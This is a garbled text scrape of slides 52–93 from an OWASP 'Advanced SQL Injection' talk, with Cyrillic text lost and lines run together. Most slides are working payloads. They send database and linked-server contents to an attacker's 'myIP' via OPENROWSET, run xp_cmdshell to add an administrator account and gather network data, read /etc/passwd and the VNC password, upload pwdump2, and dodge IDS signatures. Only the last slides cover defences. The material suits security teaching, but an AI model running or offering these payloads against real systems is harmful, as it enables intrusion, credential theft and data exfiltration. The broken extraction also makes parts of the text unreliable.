![Page 52: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/52.jpg)
OWASP 52
,
SQL Server ,
OPENROWSET
, 80!
![Page 53: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/53.jpg)
OWASP 53
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases --
'; insert intoOPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects --
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_syscolumns')select * from user_database.dbo.syscolumns --
![Page 54: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/54.jpg)
OWASP 54
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..table1')select * from database..table1 --
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..table2')select * from database..table2 --
![Page 55: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/55.jpg)
OWASP 55
5)
5) OS Interaction
6) OS Cmd Prompt
7) Expand Influence
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks
4) Extracting Data
![Page 56: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/56.jpg)
OWASP 56
:1.
,
2.
,
![Page 57: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/57.jpg)
OWASP 57
MySQL OS Interaction
MySQLLOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILEcreate table temp( line blob );load data infile '/etc/passwd' into table temp;select * from temp;
SELECT INTO OUTFILE
![Page 58: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/58.jpg)
OWASP 58
MS SQL OS Interaction
MS SQL Server'; exec master..xp_cmdshell 'ipconfig > test.txt' --'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --' and 1 in (select substring(x,1,256) from temp) --'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --
![Page 59: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/59.jpg)
OWASP 59
To keep in mind always!Injection
Web Server
WebPage
Access
Database Server
Injected SQLExecution!
Application Server
InputValidation
Flaw
![Page 60: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/60.jpg)
OWASP 60
' and 1 in (select @@servername ) --' and 1 in (select srvname from master..sysservers ) --
NetBIOS, ARP, Local Open Ports, Trace route?
nslookup, pingftp, tftp, smb
![Page 61: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/61.jpg)
OWASP 61
IP information, reverse lookups
Reverse DNS'; exec master..xp_cmdshell 'nslookup a.com MyIP' --
Reverse Pings'; exec master..xp_cmdshell 'ping MyIP' --
OPENROWSET'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', 'select * from table')
![Page 62: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/62.jpg)
OWASP 62
xp_cmdshell, :
Ipconfig /allTracert myIParp -anbtstat -cnetstat -anoroute print
![Page 63: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/63.jpg)
OWASP 63
'; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --' and 1 in (select substring(x,1,255) from temp) --'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --
![Page 64: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/64.jpg)
OWASP 64
6) OS Cmd Prompt
7) Expand Influence
3) 1=1 Attacks
4) Extracting Data
1) Input Validation
2) Info. Gathering
5) OS Interaction
6) OS Cmd Prompt
![Page 65: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/65.jpg)
OWASP 65
Jumping to the OS
Linux based MySQL' union select 1, (load_file('/etc/passwd')),1,1,1;
MS SQL Windows Password Creation'; exec xp_cmdshell 'net user /add victor Pass123'--'; exec xp_cmdshell 'net localgroup /add administrators victor' --
Starting Services'; exec master..xp_servicecontrol 'start','FTP Publishing' --
![Page 66: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/66.jpg)
OWASP 66
Using ActiveX Automation Scripts
Speech example'; declare @o int, @var int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'x', 'x' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1 waitfor delay '00:00:03' --
![Page 67: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/67.jpg)
OWASP 67
VNC
'; declare @out binary(8)exec master..xp_regread@rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out outputselect cast(@out as bigint) as x into TEMP--' and 1 in (select cast(x as varchar) fromtemp) --
![Page 68: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/68.jpg)
OWASP 68
7)
7) Expand Influence
3) 1=1 Attacks
4) Extracting Data
1) Input Validation
2) Info. Gathering
5) OS Interaction
6) OS Cmd Prompt
![Page 69: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/69.jpg)
OWASP 69
MS SQLselect * from sysservers
OPENROWSET,
OPENROWSET for reverse
connections
![Page 70: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/70.jpg)
OWASP 70
Linked Servers
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_sysservers')select * from master.dbo.sysservers
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_linked_sysservers')select * from LinkedServer.master.dbo.sysservers
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_linked_sysdatabases')select * from LinkedServer.master.dbo.sysdatabases
![Page 71: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/71.jpg)
OWASP 71
, ,
:insert into
OPENROWSET('SQLoledb','uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysservers')exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'
insert intoOPENROWSET('SQLoledb','uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases'
![Page 72: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/72.jpg)
OWASP 72
U
'; create table AttackerTable (data text) --'; bulk insert AttackerTable --from 'pwdump2.exe' with (codepage='RAW')'; exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --
![Page 73: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/73.jpg)
OWASP 73
SQL Injection
If the database server has no Internet connectivity, files can still be uploadedSimilar process but the files have to be hexed and sent as part of a query stringFiles have to be broken up into smaller pieces (4,000 bytes per piece)
![Page 74: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/74.jpg)
OWASP 74
SQL injection
hex
binary binary hex
4000 byte chunks' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
8000 hex chars …0000000000000000000' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --
binaries .
![Page 75: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/75.jpg)
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
![Page 76: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/76.jpg)
OWASP 76
IDS
Snort SQL Injection ,
, IDS
![Page 77: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/77.jpg)
OWASP 77
IDS
Evading ' OR 1=1 signature' OR 'unusual' = 'unusual'' OR 'something' = 'some'+'thing'' OR 'text' = N'text'' OR 'something' like 'some%'' OR 2 > 1' OR 'text' > 't'' OR 'whatever' IN ('whatever')' OR 2 BETWEEN 1 AND 3
![Page 78: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/78.jpg)
OWASP 78
PHP addslashes() function
single quote (')double quote (")backslash (\)NUL (the NULL byte)
,
![Page 79: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/79.jpg)
OWASP 79
IDS ,
URL encodingUnicode/UTF-8Hex encondingchar() function
![Page 80: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/80.jpg)
OWASP 80
MySQL Input Validation Circumvention using Char()
Inject without quotes (string = "%"):' or username like char(37);
Inject without quotes (string = "root"):' union select * from users where login = char(114,111,111,116);
Load files in unions (string = "/etc/passwd"):' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
![Page 81: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/81.jpg)
OWASP 81
IDS
UNION SELECT signature is different toUNION SELECT
Tab, carriage return, linefeed
'OR'1'='1' ) SQL
![Page 82: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/82.jpg)
OWASP 82
IDS
IDS
/* … */ is used in SQL99 to delimit multirowcommentsUNION/**/SELECT/**/'/**/OR/**/1/**/=/**/1
USERNAME: ' or 1/*PASSWORD: */ =1 --
![Page 83: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/83.jpg)
OWASP 83
IDS Signature
MySQL
UNI/**/ON SEL/**/ECT
Oracle'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
MS SQL'; EXEC ('SEL' + 'ECT US' + 'ER')
![Page 84: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/84.jpg)
OWASP 84
IDS
,
; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');EXEC (@x)EXEC SP_EXECUTESQL @x
hex-; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)
(')
![Page 85: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/85.jpg)
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
SQL Injection
![Page 86: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/86.jpg)
OWASP 86
SQL Injection
It is quite simple: input validationThe real challenge is making best practices consistent through all your code
Enforce "strong design" in new applicationsYou should audit your existing websites and source code
Even if you have an air tight design, harden your servers
![Page 87: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/87.jpg)
OWASP 87
Define an easy "secure" path to querying data
API
« ",
![Page 88: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/88.jpg)
OWASP 88
« , "
,
,
« , ”
: "select", "insert", "update", "shutdown", "delete", "drop", "--", "'"
![Page 89: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/89.jpg)
OWASP 89
1.
2.
3. « "
4. ,
5.
6.7. ,
: , -
backup- )
![Page 90: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/90.jpg)
OWASP 90
SQL injection:
email IP,
:
"WARNING: Improper use of this application has been detected. A possible attack was identified. Legal actions will be taken."Check with your lawyers for proper wording
![Page 91: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/91.jpg)
OWASP 91
SQL Injection
,
![Page 92: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/92.jpg)
OWASP 92
A lot of SQL Injection related papershttp://www.nextgenss.com/papers.htmhttp://www.spidynamics.com/support/whitepapers/http://www.appsecinc.com/techdocs/whitepapers.htmlhttp://www.atstake.com/research/advisories
Other resources http://www.owasp.orghttp://www.sqlsecurity.comhttp://www.securityfocus.com/infocus/1768
![Page 93: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/93.jpg)
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
Advanced SQL Injection
Victor [email protected]